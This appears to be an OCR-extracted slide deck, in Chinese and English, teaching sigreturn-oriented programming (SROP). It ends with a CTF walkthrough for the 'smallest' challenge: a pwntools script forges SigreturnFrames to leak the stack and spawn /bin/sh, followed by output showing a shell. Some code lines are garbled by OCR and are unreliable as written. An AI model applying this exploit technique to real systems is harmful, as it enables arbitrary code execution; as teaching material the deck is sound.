## SROP

#### About me


• Terry1234

• CCU CSIE


#### Outline

- Signal Handling
  - rt\_sigreturn
  - rt\_sigframe
- SROP
  - Syscall chain
  - Example


#### context switch



## context switch



#### context switch



#### rt\_sigreturn

- 在context switch時,會保存各個register的值
- Signal Handler結束後,呼叫rt\_sigreturn恢復registers的值
- syscall編號Oxf
- 雖然rt\_sigreturn()預期由signal Handler呼叫,但即便沒有發生signal也可以執行這個syscall
- rt\_sigframe放在user space,在sigreturn時
   不會檢查sigframe的內容是否改變


## rt\_sigframe struct

• Registers 的資訊保存在裡面的ucontext struct

0x00	rt_sigreturn	uc_flags
0xII	&uc	uc_stack.ss_sp
0x20	uc_stack.ss_flags	uc_stack.ss_size
0x30	r8	r9
0x40	rl0	rH
0×50	rl2	rl3
0x60	rl4	rI5
0x70	rdi = &"/bin/sh"	rsi
0x80	rbp	rbx
0x90	rdx	rax = 59 (execve)
0xA0	rcx	rsp
0xB0	rip = &syscall	eflags
0xC0	cs / gs / fs	err
0xD0	trapno	oldmask (unused)
0xE0	cr2 (segfault addr)	&fpstate
0xF0	reserved	sigmask

#### exploit rt\_sigreturn

- 偽造一個sigframe,用rt\_sigreturn還原來控制所有的register
- 重複這個動作來組成syscall chain
- 將rsp控制到下一個rt\_sigreturn上
- 需要的gadgets
  - syscall; ret;
  - rt\_sigreturn(可以想辦法把rax設定成0xf後syscall,效果相同)



## syscall chain

• 透過控制registers組成syscall chain



## Example - 360春秋盃 smallest

- 只有6行instructions
  - read 0x400 bytes到rsp指的地方,之後直接return

```
        0x004000b0
        4831c0
        xor rax, rax

        0x004000b3
        ba00040000
        mov edx, 0x400

        0x004000b8
        4889e6
        mov rsi, rsp

        0x004000bb
        4889c7
        mov rdi, rax


        0x004000be
        0f05
        syscall


        0x004000c0
        c3
        ret
```


- return address可控、可寫入很大的資料->嘗試構造syscall chain
- 想辦法leak stack address後,在上面寫入sigframe和/bin/sh


0x004000b0	4831c0	xor rax, rax
	ba00040000	mov edx, 0x400
	4889e6	mov rsi, rsp
	4889c7	mov rdi, rax
	0f05	
	c3	

```
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./smallest')
elf = ELF('./smallest')
read = 0x4000b0
syscall_ret = 0x4000be
payload1 = p64(read) * 0x3
p.send(payload1)
111
read again
set return address to 0x4000b8 and rax = 1
-> write 400 byte on the stack -> leak stack address
p.send(b'\xb8')
leaked_stack_addr = u64(p.recv()[8:16])
```













• leak stack address


• Send 1 byte to modify return address -> rax = 1















leak stack address


• rax = 1 -> write() -> leak stack address




rsp →


0x4000b0

leak stack address




rsp 0x4000b0







leak stack address


• read again








```
sigframe_read = SigreturnFrame()
sigframe read.rax = constants.SYS read
sigframe read.rdi = 0x0
sigframe_read.rsi = leaked_stack_addr
sigframe_read.rdx = 0x400
sigframe read.rsp = leaked stack addr
sigframe_read.rip = syscall_ret
. . .
read again
set return address to 0x4000b0 and sigframe read
b'a' * 0x8 is used for preserving space for a return address
payload2 = p64(read) + b'a' * 0x8 + bytes(sigframe_read)
p.send(payload2)
```













- call rt\_sigreturn()
- Send 15 bytes -> rax = 0xf

```
sigreturn = p64(syscall_ret) + b'b' * 0x7;
p.send(sigreturn)
```

rip

• call rt\_sigreturn()

 0x004000b0
 4831c0
 xor rax, rax

 0x004000b3
 ba00040000
 mov edx, 0x400

 0x004000b8
 4889e6
 mov rsi, rsp


 0x004000bb
 4889c7
 mov rdi, rax


 0x004000be
 0f05
 syscall

 0x004000c0
 c3
 ret


rsp 0x4000be bbbbbbb sigframe


• call rt\_sigreturn()






• call rt\_sigreturn()







- call rt\_sigreturn()
- read 400 bytes to leaked\_stack\_addr

```
sigframe_read = SigreturnFrame()
sigframe_read.rax = constants.SYS_read
sigframe_read.rdi = 0x0
sigframe_read.rsi = leaked_stack_addr
sigframe_read.rdx = 0x400
sigframe_read.rsp = leaked_stack_addr
sigframe_read.rip = syscall_ret
```



```
sigframe execve = SigreturnFrame()
sigframe execve.rax = constants.SYS_execve
sigframe execve.rdi = leaked stack addr + 0x200
sigframe execve.rsi = 0x0
sigframe execve.rdx = 0x0
sigframe execve.rsp = leaked stack addr
sigframe execve.rip = syscall ret
. . .
read again
read 0x400 bytes to leaked stack addr
p64(0x4000b0) + b'a' * 0x8 + sigframe execve(for execve /bin/sh) + padding + /bin/sh
111
execve frame payload = p64(read) + b'a' * 0x8 + bytes(sigframe execve)
payload3 = execve_frame_payload + b'\x00' * (0x200 - len(execve_frame_payload)) + b'/bin/sh\x00'
p.send(payload3)
```





• set sigframe

rip

 0x004000b0
 4831c0
 xor rax, rax

 0x004000b3
 ba00040000
 mov edx, 0x400

 0x004000b8
 4889e6
 mov rsi, rsp


 0x004000bb
 4889c7
 mov rdi, rax

 0x004000be
 0f05
 syscall

 0x004000c0
 c3
 ret


rsp 0x4000b0 aaaaaaaa sigframe . . . . . . /bin/sh

• set sigframe





rsp






• call rt\_sigreturn()

p.send(sigreturn)

• call rt\_sigreturn()


0x004000b0 4831c0 xor rax, rax 0x004000b3 ba00040000 mov edx, 0x400 0x004000b8 4889e6 mov rsi, rsp 0x004000bb 4889c7 mov rdi, rax 0x004000be 0f05 syscall rip → 0x004000c0 c3 rsp 0x4000be bbbbbbb sigframe /bin/sh

- call rt\_sigreturn()
- rax = 0xf



rsp bbbbbbb sigframe /bin/sh

• call rt\_sigreturn()



..... /bin/sh

rsp

• get shell

```
sigframe_execve = SigreturnFrame()
sigframe_execve.rax = constants.SYS_execve
sigframe_execve.rdi = leaked_stack_addr + 0x200
sigframe_execve.rsi = 0x0
sigframe_execve.rdx = 0x0
sigframe_execve.rsp = leaked_stack_addr
sigframe_execve.rip = syscall_ret
```

get shell

```
60 el 3f el fe 7f
    000000b0
                                              40
    000000c0
                                        33
    000000d0
    00000100
    00000108
     6] Sent 0xf bytes:
                                                                             bbbb bbb
                                        62 62 62 62 62 62 62
    0000000
              be 00 40
    0000000f
     [6] Sent 0x208 bytes:
    0000000
                    40
                                        61 61 61 61 61 61 61 61
                                                                              aaaa aaaa
    00000010
    00000070
    00000080
    000000a0
    000000b0
                    3f el
                                        33
    000000c0
    000000d0
                                                                   /bin /sh-
             2f 62 69 6e 2f 73 68
    00000200
    00000208
    UG] Sent 0xf bytes:
                                        62 62 62 62 62 62 62
                                                                              bbbb bbb
    00000000
              be 00 40
    0000000f
   Switching to interactive mode
 ls
      i] Sent 0x3 bytes:
   b'ls\n'
       Received 0x1e bytes:
   b'smallest smallest exploit.py\n'
smallest smallest exploit.py
```

# Q&A